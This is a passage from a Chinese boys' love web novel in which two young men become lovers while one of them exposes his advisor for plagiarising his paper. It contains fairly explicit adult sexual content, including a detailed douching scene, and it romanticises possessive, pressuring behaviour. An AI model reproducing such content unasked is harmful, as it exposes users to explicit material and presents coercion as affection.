直到到家,萧疏脱下外套,把那条围巾扔在外套上面,方闻钟端着水杯迟迟不离开,他憋得慌,那个女生从脖子里摘下围巾还给萧疏的画面,他久久忘不掉。 方闻钟突然就明白了。 不一样。 萧疏的兄弟,和他的,爱人。 不一样。 前者,没有资格,也不会对这一幕产生什么看法或问他,只有后者,赋予权力和资格的时候,也会让他产生可能是吃醋的烦闷和不高兴。 方闻钟喉咙发紧,他检索着自己的内心,事实上他对萧疏的占有欲一点也不少不是吗。 以前,萧疏交新朋友,打篮球,他都会难过。 只是现在画面变成一个他怎么也融入不了解决不了的女生时,才那么清晰,比起干看着,胡思乱想着,他更愿意有吃醋的资格。 方闻钟转头,没再看那围巾。 萧疏好像就是为了把姥送到,他没打算多待就走,方闻钟用他勾人的眼神留住了萧疏,两人在小卧室门口尴尬住。 “想清楚了要给我答案?”萧疏挑眉,问他。 方闻钟抬头,“你说继续待在你身边,会变得不幸,是什么不幸?” 不是答案的答案,让萧疏笑了一下,他走进一步,靠近他,背后关上小卧室的门,把两人单独关起来。 “方闻钟,我和姥姥你选谁?” 方闻钟懵逼。 “选了我,就注定违背了你姥姥的意愿。”萧疏像毒蛇吐芯子一样对方闻钟说:“毕竟当初,就是她发现了我的意图,让我滚远点,让我这个扫把星别连累你,要是还有点心,就别再妄想把你拉入和我一样的泥潭。” “方闻钟,你说你姥姥连跟我一起混都不愿意,怎么会愿意看到你和我是那种关系,嗯?” “所以我们之间,你只能选一个,你选谁?” 萧疏在逼他。 “还有呢,”方闻钟颤抖着问。 嗯?萧疏在疑惑。 方闻钟深吸一口气,鼓起勇气,“除了姥姥反对,还有什么不好的方面?” 萧疏不确定他是下定决心了要了解清楚,还是随便问问,眼神无悲无喜地平静道,“很多,方闻钟,两个男人,以后不结婚生子,可能会面临什么就不多说了,单说现在,忍得了和世俗不同的奇怪吗?忍得了可能被发现说三道四传播开来的目光吗?男人之间的喜欢,不是我打击你,方闻钟,当你陷入进去时,可能会发现全世界都在与你对抗。” “你不是弱者,是被打上标签的卑劣者。” “还有你能忍受和我做那样的事吗?方闻钟,说糙一点,能忍受我那天对你说过的话变成事实吗?” “你会被我一点点,打开,侵犯,攻城略地,你会觉得,自己不像一个男人了吗?” 方闻钟被他说得脑子嗡嗡的,但他想问的问题还是那么清晰,“如果有这么多不好,你还清清楚楚,那你为什么还要对我坚持?” 很简单,放不下,“当然是因为喜欢你啊,”萧疏像竖起了千层屏障,又像完全坦白自己的内心,“方闻钟,你是我的来路和归途,所以我只接受,要么你和我转变关系,彻底在一起。” “你不知道我的心思就算了,知道了,还妄想只当我的好兄弟,不可能,如果接受不了,就离我远远的。” “可以没有归途,那四面八方便都是我的路,只不过这些路上,我的目标便不再是你。” 就当萧疏以为方闻钟还会考虑时,方闻钟看着他攥在手里的打算带回去的围巾,突兀地问:“你还会戴它吗?” “嗯?”萧疏惊讶,随即,“又不是我的我戴什么。” “啊?”方闻钟突然睁大眼,傻傻地看着他。 萧疏解释道:“我室友的,那个女生在追他,他也挺喜欢那姑娘,今天估计在一起了,让我帮忙把它还回去,”他抬手示意手里的围巾。 方闻钟忍了忍,还是没忍住大大地松了一口气,看到萧疏在皱眉,他四肢僵硬,就在他自己都没注意到的时候,他乱七八糟的动作,已经把萧疏抵在门上。 萧疏的后背一下靠在卧室门上,发出一声响,他有一点曲着腿,方闻钟头都不敢抬,“做什么?” “我,我。” “我能接受的了。”方闻钟如蚊虫一般嗡嗡说道。 天旋地转! 围巾一下落在地上。 萧疏把他反过来死死地压在门上,他的双手撑在他头两边。 他注视着他,方闻钟偏过头去,浑身出汗。 紧接着,铺天盖地的亲吻落下来,“唔,”方闻钟尝到了萧疏甜腻的口水,他温暖的气息热烤着他,嘴巴传来陌生又刺激的碾压。 他们肆无忌惮地亲吻。 方闻钟一点一点,在萧疏怀里滑下去。 萧疏揽住他,亲著他,两个人都在颤抖,“别骗我,别骗我,”萧疏说。 “嗯,没有,”方闻钟回。 第42章 学校搞事 方闻钟眼神发直地摘着豆角子,本来只摘掉一点顶端的部分不入菜,他摘着摘着,把一根长长的豆角子一点点掰断,一截一截扔下去,手里的豆角像玩具一样,被拆分开,再也没换过新的一根。 姥姥坐着轮椅过来,啊啊敲他手。 听到姥姥急切的声音,方闻钟才回过神来,一看地面上的狼藉。 他一下羞耻地顿时站起来,“姥,没事,那根坏了,你再等等啊,饭马上就好。” 距离那天,过去了小半个月,萧疏说他在学校最近很忙,可能顾不上每天来找他了。 还说:“再给你一点时间,方闻钟,考虑好。” “你知道我很霸道的,一旦进入我的领地了,你就绝没有再逃脱的机会,以后不管你愿不愿意,都离不开我,”这时候,萧疏像狼一样盯着他,他眼神里,还有很平静却很疯狂的告诫,他细心地替他擦掉唇瓣上的湿润。 压得嘴角氤氲出红痕。 “还要学会慢慢接受我的不一样,方闻钟,从今天起,记住我的身份,记住我是你什么人。” 方闻钟戴着娇小的围裙,在竈具前把锅铲抡得飞起,当浓郁的香气飘出来时,他燥得满头大汗。 “姥,吃饭了。” 和姥姥吃完饭,姥姥在饭桌上说着方闻钟觉得很无聊又很单调的话,她无意识地重复今天出去遇到了什么,再要么三句不离两句大孙子。 “姥,你记得萧疏吗?” 方闻钟放下碗筷,抬起眼小心地试探了姥姥一句。 姥姥污浊的双眼呆直,看着方闻钟,方闻钟鼓起勇气又多说了几句:“就是小梳子,从小和我关系很好的那个小梳子,现在天天来我们家的人也是他,姥,你想起他了吗?” 就当方闻钟以为姥没啥反应,她半天没动静时,舒了一口气。 姥突然双手举起来,啪啪往桌子上打! 竟不小心把她的杯子全打到地上摔碎了! “那个畜生!畜生!”老人尖哑的嗓音吓得方闻钟一凛,姥姥激动到说不出话:“钟钟,不要和他玩!不要和他玩!他会害了你!他就是图我们家的钱的!” 方闻钟手突然被姥姥伸过来一把攥住,她情绪紧张地攥着他的手,言辞间恳切又无措,“钟钟,我们都看错他了,他不是乖孩子,不要跟他一起玩儿。” 因着姥姥突然闹的这一出,方闻钟多花了点时间才把饭桌收拾好。 他察觉到,姥姥的记忆还停留在高三那年暑假,他被萧疏害得坐了牢。 姥姥怪罪萧疏,却不认得现在的他。 方闻钟心里不大舒服,他不知道当年他进去后,姥姥中风,是萧疏发现她救了她,他们之间还发生过什么? 姥压根不记得。 又不想问萧疏,重新提起这个让他不愉快的话题。 姥姥和萧疏,对方闻钟而言不是二选一,他都要,姥姥又能陪他多长时间呢,方闻钟不知道自己算不算不孝,他就想,反正姥也不记得了,就陪她度过最后一段愉快的时光就行了。 而萧疏,是他从来都割舍不下的。 “爱人?”他黏腻又小声地吐出这个词,一种神圣到让他有些欢喜的感觉扑面而来,爱人是如世间最亲密的男女那样吗?他们也可以是? 想到亲吻,想到别的什么,方闻钟双手捂住脸。 发出一声满足的喟叹。 “不会换气,下次再来,我教你,”那天萧疏亲完他后说。 方闻钟压抑着呼吸和心跳,克制地全身都在颤抖,心脏都开始憋得疼了,萧疏反而自在地阐述他的亲后感言。 “方闻钟,你的嘴巴最软了。” “还有一个地方肯定也很软,很湿,哥哥,”萧疏把他抵在门后,“说好了能接受的,那你可要做好心理准备啊,下次有机会,我们试一试好不好?” 萧疏走后好几天,方闻钟都没从那天的刺激中缓过神来。 他有时候会怨萧疏。 明明说破了一切,明明逼着他答应了。 可他却突然把他撂到一旁,说是有急事忙。 方闻钟在书店里拍着篮球,女店员问:“老板,心情不好?” 他倏地转过头去,“没,我心情好得很。” 方闻钟洗澡时,开始莫名其妙关注自己下面的部分,不是前面,而是后面,他会侧着镜子看,想到笔,想到手,再想到一切细长坚硬的东西,方闻钟慌乱地几下用毛巾擦完,赶紧把裤子穿上。 直到一切又恢复成正常样子。 他欲盖弥彰。 萧疏在学校里,最近有点麻烦。 一向带他发表论文做实验,有项目就找他的研究生导师,最近却和他一个师兄眼看师徒情更密切! 他们参加了一个行业内罕见的学术会议,会议上,据说联合发表了一篇惊世骇俗的论文,论文引起行业大牛巨大关注,几经研究讨论后,导师和师兄的名字响彻业界。 这绝对是一项顶尖的发现。 师兄因此,在学校名声大噪,志得意满。 他和萧疏一向合不来,以前还只是私下里两人明褒暗贬,现在师兄对他的冷嘲热讽恨不得全放在明面上。 因为他一直觉得萧疏就是个自私又阴狠的小人! 以前都是他哄着导师,混到了好多好项目!还让他赶上好几篇重要论文的二作! 他一个刚上研一的,哪有那么大本事,还不是在导师面前伏低做小,只会说好话蒙蔽他。 这还不算完,师兄还发现,他们几个同门每次不如意,不顺利的时候,背后多多少少都与萧疏有点关系,虽然没明确的证据,但师兄怀疑讨厌他很久了! 萧疏肯定是想把他们全踩下去,再攀着导师的关系,一步步往上爬! 哼,什么风光霁月,不过是个跳梁小丑。 这次,导师终于看清了他的真面目,在这种行业会议和毕生所学搞出的一篇论文里,选择了他。 这次他是二作,他们的论文,马上就要进入审稿发表阶段了,届时,他一定会凭此申请到更好的学校,萧疏那个花瓶草包,就只配矮小地看着。 师兄被萧疏堵在学院楼楼梯口上,萧疏神色严肃,强硬地拉着师兄的胳膊,师兄被他的态度搞得火大,“你干什么!我还没找你麻烦呢,你反倒自己撞上来了。” 萧疏不理他的虚张声势,直截了当道:“那篇论文你参与了多少,你是不是通过什么管道抄袭了?” “你放屁!”师兄一下面红耳涨,当场差点跳起来指着萧疏的鼻子大骂。 虽然他的确是跟着导师的建议和方向一步步成功的,而且几乎出其意料的顺利,实验过程中没遇到一点麻烦,他也只当导师这次够厉害,可这关萧疏什么事? 他哪来的脸说这种屁话! 以前他何尝不是蹭着导师的项目和论文混成优秀学生,怎么轮到他给导师打下手了,萧疏就污蔑他抄袭? “萧疏!睁大你的狗眼看清楚,”师兄气愤地伸手一下一下推他肩膀,“你那半吊子水平,我们的论文你看得明白吗?还说我抄袭?怎么,眼红了?哼,我还就告诉你了,我的实验和结果是一步步严格按照流程来的,早在这两三个月就在进行了,都有记录,你还有话说吗?” “你当谁都是你呢?”师兄反咬他一口,“是不是你自己心脏,学术造假,才这么指正别人啊?” “你怎么不说导师抄袭?” 师兄略过萧疏就要走,如今向前一步,他是越发看不上萧疏了。 不就仗着长得好看点,天天装给谁看呢,私下里又臭又脏! 师兄本以为这场闹剧就是萧疏口出狂言,忌妒心切,大放厥词罢了,他一点没把萧疏的质疑和那天的奇怪堵他放在心里。 他问心无愧。 谁料后面几天萧疏还不松口,竟公开向学校举报他的论文涉及到抄袭! 可把师兄给气坏了!他以为萧疏是觊觎他二作的身份,才这么丑态百露,想给他泼脏水,把他拉下马,他怎么不更狂妄点说他们的导师抄袭呢! 师兄在导师面前发牢骚,还问导师,是不是以前这个实验项目找过萧疏,萧疏有接触,才突然对他们合作发表而感到不愤。 导师捧着一杯茶,“也许吧,你也别放在心上,这个我很早之前和萧疏提过,也许他自己私下里上了些心研究了一下,写了些东西出来,现在看到你的实验结论,或许觉得你们有重合,才质疑你。” “哼!”这就说得通了,师兄脾气烦躁,还是不忘诋毁萧疏两句,“恐怕只是研究了点皮毛,以前不还是靠您多关照,萧疏他一个刚入学的,有那水平吗?” 踩一捧一,不过也是师兄的实话。 被举报学术造假,学校当然会重视,尤其,举报者是在校内很受欢迎,影响力很大的萧疏!他曾任两年学生会主席,现在还是研究生部的团支书,谁都没想掩盖,于是事情越闹越大! 刚开始,几乎是一边倒,大家都相信萧疏站在他这边! 可很快,师兄联合好几个曾被萧疏各种管道手段坑过的人一起发声,师兄是觉得,萧疏没有一点证据,纯靠一点猜忌瞎掰扯,就想把他拉下马,哪有那么容易,他恨透了他! 一定要让他这次好看! 造谣人是有代价的,还以为他萧疏是人见人爱谁都相信呢,讨厌他的人也多了去了! 于是,风向慢慢变化,开始出现了其他声音。 从萧疏几年前扒到现在。 在学生会的时候,借职务之便,为自己弄了很多荣誉,还有奖金动辄大几千甚至上万的校外项目,藉机认识了很多与他有益的领导或大牛。 这中间,有多少无辜者被他莫名其妙地挤下去,还以为是自己的问题。 除此之外,利用导师的宽容和看重,又有多少次平白蹭上不属于他的学术成果?他自己的实力还停留在本科阶段,那些二作发表的论文,他真的有好好研究过吗? 真是辜负了喜爱他的师长的栽培。 风评出现变化,一时间,很多人都有点接受不了萧疏的“真面目”,萧疏不知是心虚还是别的什么不反驳,但当大多数人看到他踩着普通人上位。 得到不属于他的荣誉、奖励、还有学术评级时,每一个学子都愤怒了。 这不就是特权吗,不就是利欲熏心不择手段吗。 以往,真是他们看错了萧疏! 萧疏陷入另一场风波,关于师兄抄袭的指责不了了之,关于他自己的污点,却一点点被摆上台来等着一一查证。 此时,萧疏终于低头了,他来向导师认错。 “这里面,恐怕有您的推波助澜吧,”萧疏在办公室内低着头说。 导师慢悠悠地喝着一壶茶,“萧疏啊,你还太年轻了些,要把心思放到正确的地方,以前是老师们没有看到你的其他作为,但往后可要脚踏实地了。” 他似乎笃定了他的错误。 萧疏嘲讽地笑了一下,他面上的软弱,求饶,一点点消失殆尽,他声音很平稳地说:“就像您那样对吗?窃取学生的研究成果?哼,我还真得跟您再学学,怎么把心思放到,‘正确’的地方。” 他走近导师,导师一下手抖,桌上的小茶杯顿时被他打翻骨碌碌滚了两圈。 最后茶水倒尽,滚在萧疏脚边。 萧疏捡起来,替他重新放好,“谢谢您给我上的这生动的一课。” 学生挺拔的身影出去了,导师才僵硬的身体慢慢恢复转动,他心慌得像要跳出来,不对,萧疏没有证据,这篇论文从实验到如今进入大众眼界,马上就要在国家行业最尖端期刊上发表,已经过去了近小半年。 萧疏如今再站出来,没有任何胜算,没有人相信他。 是的,这篇让导师自己都震惊欣喜的论文,从头到尾,都是萧疏一个人的成果。 他是在他计算机端看到的,只不过现在成了他的荣誉,萧疏才发现。 还质疑他师兄,哼,师兄不过是个炮灰,但炮灰也足够给萧疏添堵了…… 关于萧疏的骂名,以及他的污迹,一点点被揭开,虽然校方还没有官方做出解释,但学生之间已经压不住讨论了。 就连书店里的方闻钟都听到了好多。 他很担心他,他以为萧疏肯定心情不好才不过来,他不知道怎么安慰他,方闻钟才不信他们说的萧疏的那个样子呢,什么利欲熏心,自私阴狠,玩弄侵犯其他同学的利益。 “喂,”萧疏接到电话,方闻钟听不出他情绪。 他小心地说:“小梳子,你什么时候有空过来吃饭啊,我给你做好吃的。” 萧疏翻看了下时间,“下周吧。” 方闻钟想办法哄他,“小梳子,我想你了,我去你们学校陪你打篮球呗。” 听到想他,萧疏也只是轻微笑了一下,“没时间呢,方闻钟。” 方闻钟最后结结巴巴道:“那,那我自己……洗……不会……” “什么?”一句话说得声音越来越低,萧疏没听清,他坐起身,又问了一遍,这次方闻钟强忍着羞耻说完了,方闻钟想自己清洗,后面那个部位,萧疏说了给他时间考虑,他根本不需要再考虑。 他早做好决定了,也在慢慢准备,萧疏说,下次可以试一试。 方闻钟可不想萧疏嫌他脏。 关于那种做法,方闻钟自己也觉得脏,但他懂的没萧疏多,萧疏说可以,不介意,他自然也默认。 可是他不会洗里面。 “哈哈哈哈哈,”萧疏在手机那边笑得胸腔震颤,“方闻钟,你这么猴急啊。” 方闻钟闭嘴不说话了。 “好了,”萧疏恢复正常,“我知道你是来安慰我的,听说了?” “放心,我没问题,下周左右就解决了,”听着那边运筹帷幄的声音,方闻钟终于不再担心他。 “关于我的坏话听到了多少?”萧疏笑着隔着电话问他。 “没有,没听到,”方闻钟固执地说。 “你才不是那样的人。” 没听到还帮他反驳,方闻钟真是傻得可以,萧疏开玩笑般地认真说:“或许呢,或许我真干过不好的事,方闻钟,你会站在我这边吗?” “当然!”方闻钟急切地说。 “哪怕传言都是真的?” 方闻钟不再多说话了,他们学校里的种种他都只懂个皮毛,关他什么事,“我信你,”他坚定地吐出三个字。 萧疏站起来,神情淩冽,“我再怎么不择手段也不会对你的,哥哥,等我哦。” 周一一早,关于萧疏的调查和解释,马上就要公布在校内官网时,学生们对这件事的关注和热度也压不下去时。 前一天傍晚,一封长长的邮件躺在学校所有领导的邮箱。 附带的,还有一份审稿过程。 来自国际顶尖期刊,里面是前段时间名声大振的那篇论文,早早被国外审稿通过,马上就要发表了,现在就等出版印刊,从论文提交到数次评审阶段,那边和作者的连续几个月的来回讨论,再到最后通过录用,清清楚楚! 上百页的英文页面,比不过作者那一行的震惊,是萧疏! 而不是什么他的导师和师兄! 傻眼了。 导师还沉浸在马上就要在学术上跻身上层时,师兄还庆幸萧疏就要被他们撕开真面目,彻底沦为败类时,导师被一通电话骂得面红耳赤,恨不得钻到地下去! 丢人丢到国外了! 他们的论文在国内最后一环没通过,就因为有同行评审时发现很久前见过这篇论文,就因这点谨慎他们才紧急撤下,还好,不然在国际上如何任人看笑,一边已经进入最后一环,一边恨不得上赶着赶紧提前发表出来,就差了那么几天时间。 两篇论文,重合度高达90%以上,而作者竟不相同,还是师生,简直贻笑大方。 在铁证一般的逻辑时间顺序清楚的证据下,导师那边窃取学生研究成果,简直是板上钉钉。 他们可以质疑萧疏的水平,但萧疏和期刊交流修稿的内容也清清楚楚,更甚者,他一年前,还大四的时候,在谁都没注意到的时候,做的实验记录也保存完善,一一摆在眼前。 再不信他是个天才,能独自一人撰写出水平如此顶尖的论文,还是要承认,除此之外,没有别的可能。 导师和师兄一时被锤在耻辱柱上,师兄还好,不可置信,恍恍惚惚。 导师却觉一张老脸今天被人踩烂了,他赔笑想方设法为自己辩解的脸色都维持不住,因为萧疏确认了他就是抄袭!师门反目成仇!学校如临大敌。 当这一结果公布在众师生面前时,大家都要怀疑自己看错了,什么?真有抄袭? 还是导师抄学生的,抄萧疏? 萧疏能自己在国际顶端期刊发表论文,他才研一啊,这是所有人追求的梦想,萧疏能早早做到,还让他的导师起了抄袭的心思,在国内引发热议,可见萧疏有多牛! 崇拜一时沉默又振聋发聩。 如果这样的话,那有关萧疏学术混子的言论一定就是谣言啊! 其他传言呢?还可信吗? 他这么厉害,有必要揪着那点利益不放?还陷害别的同学?不大可能。 果然,很快校方针对萧疏前段时间的被污蔑,也做出了调查和解释,一切都没问题。 萧疏没有做过。 轰轰烈烈落下帷幕,师兄再站到萧疏面前时,低着头恨不得看不见他,萧疏好整以暇地等着他道歉,结果却等来师兄发疯。 “你说!你是不是耍我!你的论文早早就提交上去了,那边也马上出版,结果你却什么都不说,就等着这一天真相大白,再来嘲笑我!”他恨极了萧疏一开始不说实话,看他自作自受。 师兄尽管再不想相信萧疏的能力,可是事实摆在眼前。 “我没有抄袭!你也耍不到我!我告诉你萧疏,别以为这样就可以了,关于你做的那些事,你自己问问你的良心!” 萧疏松开师兄拽着他的领子,拍了拍,微笑:“你问心无愧就好。” 抄袭不抄袭的,导师背了所有罪责,那他也算是被害者吧。 “不过,”萧疏面对他,往后走,“以后别那么小看人了好吗?殊不知,你在我眼里,也是蜉蝣蝼蚁……” 师兄:“……” 再见到导师,他一身狼狈,脸色全是疲态和垮败,办公室里乱糟糟的,他在搬离自己最后的东西,想视而不见,可到底咽不下这口气。 萧疏无所谓地举起他曾经喝茶的茶壶,“你离职了,接下来带我的应该是刚回国的严老。” 严老是他们这个行业内谁都尊敬崇拜的老教授,之前十来年在国外任教,今年刚被回国返聘了,“严老因为这件事,特意记住了你,也记住了可怜又天才的我。” 萧疏说:“不然他应该只带博士的,而我是特例。” 看着这个如今嚣张的学生,导师只觉一股热血缓不上来,憋得脸通红,他突然道:“这就是你的目的?” “什么?”萧疏。 “你有好多次机会主动跟我说这是你的论文,你看到过我做实验支开了你,你早就发现了!可你任由事态发展,在会议内容公布时不说,在校内评奖时不说,甚至在我们向国内期刊投稿都不说,直到最后,闹到不可调和的一步,才站出来,把我推下去。” “萧疏,你是不是早早就料到了!才设这个陷阱!就为了让我身败名裂!” “而你转投严老的名下!不然,凭你的资历,你哪能轮到他教导!” 萧疏先是愣了,可是很快,低低笑出声来,“这怕是你对我最高的评价了,你觉得,我设了一个陷阱?就为了把你卖了?然后攀上云梯?” 办公室内气氛僵硬。 “也说不准,”萧疏给压倒的骆驼添上最后一根稻草,眼看他的导师要气魇过去了,萧疏赶紧说:“不过这一切后果不都是您自己的作为吗?” “抄袭,泼脏水,恼羞成怒。” “萧疏,你在严老门下一辈子也出不了头的!”导师最后的气急败坏也不知是诅咒还是威胁。 萧疏回头,忍了又忍,扔下一句,“你以为谁都跟你一样是草包啊。” “想想看,你那么想据为己有的成果,不过是我一年前搞出来的,等着看吧,”他笑得妖孽,“我会带着你的期盼,走上你从未走过的路,谨遵你的教导,把心思,放到正确的地方。” 导师直接突发心梗被送去了医院。 本以为互相利用的两人,从此刻开始,一人退出幕布,一人大放光彩。 萧疏被学校的事弄得烦心,虽然是必要的过程,且他从头到尾都胸有成竹,但有方闻钟在那边吊着,给他打来电话说那种事,他只想赶紧了了去找他。 见到方闻钟时,方闻钟正站在车上,撅着屁股搬箱子。 他定做了些灯具,想把书店里换一下,突然身后有意识一样他立马转身。 果然,萧疏向他走来,眼神炙热地看着他。 他顿时跳下车去,往他身边跑去。 萧疏从后边揽住他,手自然而然拍了一下他屁股,“慢点,摔了怎么办。” 方闻钟原本大大咧咧的动作一下扭捏起来,他感觉,半边腰麻了。 第43章 在一起 方闻钟被萧疏抱在腿上,他的外套被脱下去,他们面对面坐着,方闻钟不自在极了,悄悄扭来扭去。 萧疏手握在他腰两侧,把他扣住。 “小梳子,会压坏你的。” 他体重比萧疏重十几斤,方闻钟对这种抱孩子似的抱法又羞耻又不适应,大腿压在萧疏腿上,他都怕把小梳子压麻了。 “不会,”萧疏饶有兴致地揽着他的后背,他们坐在方闻钟屋里唯一的一把宽大的靠背椅上,萧疏顺手脱了他短袖上的另一件厚衣服,“不过也可以减轻一些负担。” 萧疏的笑容像狐狸一样不安好心,方闻钟在巨大的期待里身体蔓延出一点一丝恐惧和兴奋。 “别抖。” 把人脱得只剩一件黑色短袖和短裤时,萧疏让方闻钟靠近他怀里。 “冷吗?”他说。 方闻钟不冷,相反,他皮肤起了一层鸡皮疙瘩,心里却火热得跟装了个火炉似的,他自己都不知道,他依偎着萧疏,手紧紧攥着他胸前的衣服的自己,和他往日的形象,有多大反差。 短裤紧紧贴在屁股上,也堪堪到大腿内侧。 于是,他巧克力色的大腿,压在萧疏黑色裤子上。 萧疏伸了一下腿,方闻钟刚怕掉下去,萧疏单手一下把他胸前的衣服全堆到脖子里。 “咬住。” 方闻钟可怜,他眼睛上下瞟。 “你学校的事情,都解决了吗?”方闻钟声音在布料间,含糊不清地传来。 “嗯,”萧疏说。 “是他们误会你了吗?” “误会?”萧疏盯他,歪头,“算,也不算,好了,这不是你现在该关心的事,”萧疏打断他,学校关于导师师兄,以及其他学生对他的看法,都已告一段落。 在那里,他是不顾一切往上爬,把所有算计进去,包括他自己,以便尽快实现目标的学神。 在这里,他才是方闻钟的男朋友,老公。 整个局里,唯一的变量,就是他被人低估的能力。 方闻钟收紧胸肌,萧疏手还未靠近时,他便不可避免地紧张,“放松,”萧疏的声音忽然很冷酷。 没办法,方闻钟只能塌下腰,照做,那双白皙修长的手,包裹住了他半边脸颊,萧疏像找到什么好玩的,指尖分开,再回笼,手劲不大,却还是把他的脸弄得红红的。 萧疏不亦乐乎,方闻钟却觉晕晕的,“萧,萧疏,另一边。” “好。” “不是!” “方闻钟,不能厚此薄彼,我对哥哥,一向最公平了。” 萧疏捏着他脸玩儿,说着说着,吻突然落在他眉心,方闻钟顿住,似乎一根针落下去都会惊动了他,他一动不动,坐在萧疏腿上,萧疏的吻亲下来时,他们都那么小心翼翼。 方闻钟眼皮抖动得如蝉翼,亲到他鼻尖时,他脑门冒出一层薄汗,“哥哥,没有一点回应吗?” 萧疏嘴角勾起,眼神里蔓延着甜意。 “不是说好能接受?是单纯地能接受我对你做些什么,还是能接受你也喜欢我?” “喜欢吗?”萧疏离他远了点,手放下去,他收起了玩笑。 “喜、欢……”简单的两个字,方闻钟说出了被强迫的感觉,可很快他自愿道:“喜欢,萧疏,萧疏。” 他纠缠地叫着他,似乎要把往年漫长的十几个岁月叫过去,从他们的竹马时光,叫到意外分离,再叫到如今爱人模样。 “小梳子,我离不开你。” “那最好了,哥哥,”方闻钟激昂地仰起头,萧疏一下张开嘴咬在他喉结上,方闻钟浑身一颤。 大腿绷紧,彻彻底底坐实在萧疏腿上! 被咬完喉结,萧疏亲了他脸上很多地方,可就是不碰嘴唇,方闻钟羞怯地等待着,那天被亲嘴的感觉太难忘,他想念了半个月。 “萧疏,我刷牙了。” “嗯,我也刷牙了。” 算了,不管了,方闻钟看出来萧疏就是在玩他,他也恼了,凭什么嘛,小梳子就会欺负他,都是男人,他怕什么,他又不是女人…… 于是头一下撞上去,不管不顾自己亲上了萧疏。 然后就不会弄了,感觉还是不满足。 不一样,和萧疏亲他时不一样。 方闻钟近距离看着萧疏,他有点晕晕欲睡,是被萧疏冷酷又投入的割裂感迷的,他不知道他现在什么感觉,萧疏开心吗? 他为什么不动,不着急? “小梳子,你怎么,不亲我?你后悔了吗?” 他向他求饶。 萧疏嘴唇离开他一点,然后再粘贴去,“我主动了你就会难受的,”萧疏道出事实。 “不会!” “那好吧,哥哥,记住这是你要求的。” 方闻钟突然离地好远,他被萧疏高高地抱起来,他抱住萧疏的头,方闻钟抱不住差点掉下去! 身体猛地向后倒去,他重重地倒在床上。 萧疏和他一起倒下来,只不过萧疏还收着点力道手臂撑在他旁边。 方闻钟突然觉得穿戴整齐的萧疏看着很碍眼,和他相比,他还那么衣冠楚楚,“萧疏,家里不冷了。” “哥哥,你以为就这样吗?” 萧疏边慢条斯理地像个绅士一样一件件脱掉自己的衣服准备洗澡,边眼睛眨也不眨地盯着他,“还远着呢。” 说罢,和方闻钟一起进卫生间。 可很快,他又被推出来了,在他教方闻钟怎么彻底清洗干净时。 “小梳子,我自己来!” 方闻钟第一次严词厉色地说,然后不待萧疏交代完,立马着急忙慌想把他推出去,不让他看! “你真的学会了?”萧疏惊讶,我都是第一次见呢。 他瞥了瞥方闻钟手里的细管和软瓶。 方闻钟死死推住他光滑的后背,不顾人衣着不整,就把人堵卫生间门外。 等了好久,里面才传出来水流声,萧疏忍不住捂住嘴笑出来,不知道方闻钟做没做好心理准备…… 他百无聊赖地等着,听着,过了一会儿,干脆长腿一交叠,直接胳膊抱在胸前倚在门外准备守人了。 里面除了水流声,没有一丁点属于方闻钟发出来的声音,萧疏忍不住恶作剧,指节扣响门,“方闻钟,那个管子可比笔细多了,应该自己能放进去吧。” “……” “放深一点,按要求做。” “水流五百毫升,第一次注意温度,哥哥,可别太热或太凉了刺激到自己,那里可是很脆弱的。” “你,能不能不要说话了!” 就在萧疏忍不住又打扰他,方闻钟绷到极致的声音嘶哑地传来,萧疏似乎还听到他一声极其克制的唔声,那是压力开关打开,水流一下从细管顶端的五个压力口喷射出去!方闻钟胳膊肌肉鼓起,死死抓着洗手台,才不至于让自己跪倒!他没想到是这样的!所有奇怪的感触还有萧疏在外面的声音和话语,让他一时间半梦半醒! “压压肚子,它会出来的。” “肚子痛吗?” “哥哥,真不需要我帮你?” 方闻钟一直没说话,可很快他慌乱地叫到,“小梳子,小梳子……”不受控制的感觉,方闻钟膝盖很软,弄脏的水流从他身上流下来,还有更多洗澡水一起冲刷着他的脸颊,他想寻求能支撑他的力气。 “怎么了,”萧疏不见一丝着急,还问:“洗干净了吗?” “我进来了。” 方闻钟羞耻地闭上眼,急促道:“不要!” 半个小时后,终于换萧疏进去,卫生间雾气腾腾,像仙境一样闷热,还有大量沐浴露被用过之后扑鼻而来的香味,方闻钟像打了一场败仗,垂头丧气地出去,萧疏就快多了。 方闻钟重新被萧疏抱起来,现在他软乎乎不见一丝之前的挣扎,高大的汉子受尽了委屈,虽然没在萧疏眼皮子底下,可萧疏知道他干什么,还一句一句教他的。 萧疏好笑地亲了下他脸颊,他哪里都湿哒哒的,萧疏的手随便在哪里,方闻钟都任他抚摸,由他去了。 没有最羞耻只有更羞耻,当手指代替曾经的钢笔、细管时,方闻钟能一点一点慢慢适应,可当准备工作做到一定程度,萧疏还是用最夸张的其他换了上去!疼痛不安让方闻钟剧烈地扭动,然后被萧疏强制压住安抚。 …… …… The original version is in thements. 方闻钟流下泪来,他为自己的浅薄和无知终于付出了代价,想到曾经他一切关于这件事的幻想,细长的东西……呵,多么可笑,这是生命不可承受,灵魂被劈成两半。 联想出错。 第44章 哥哥,情人节快乐。 方闻钟趴在床上,后背现在还能看出红痕,不知是不是昨晚蹭的,再往下痕迹更明显,后来萧疏替他换了个姿势,他钟情于他那块肉多的地方,反正打了不疼。 整整闹到半夜,方闻钟的羞耻心和欢喜愉悦,最后全被嘶哑困顿代替,第一次萧疏就折腾这么长时间,要不是方闻钟身体好,他今天会比死了还难过。 趴在床上,全身上下没一处使得上劲的,某个使用过度的地方还传来火辣辣的疼。 尽管萧疏早上就给他上过药,方闻钟睡得很不安稳。 他动一下身都好难受,怀里抱着一件萧疏的衣服,衣服团起来被他揉巴着放在嘴巴鼻子下边。 好像能闻到一下萧疏的味道他就能安神,萧疏起得挺早。 早餐的香味勾醒了他,方闻钟睁眼,眼皮沉重,他从一点点缝隙里看到光明,朝阳下的萧疏圣洁的不像真人。 萧疏也发现他醒来了,立马转头。 方闻钟赶紧躲过去,不让他看,他知道自己此时很丑,嗓子哑且不说,眼睛估计肿了,熬夜脸色估计也不好看,头发还乱成猪窝,萧疏怎么忍得下他。 萧疏把偏过头的人扭过来,想抱起他,方闻钟不让,萧疏差点把腰闪了,“方闻钟,你多重你自己心里有数吧?还故意僵持为难我?哥哥,”他亲了一下他后背,“大早上别为难我了。” “小梳子现在也没多少力气了,榨干了。” 几句话立马让方闻钟鲤鱼打挺,当然动作做到一半肯定是别扭又强撑着的,他怕他再装下去萧疏能让他恨不得钻床下面去。 快速躲去洗漱,然后回来见姥早吃过了,他赶紧躲回屋里,还避开萧疏的眼神。 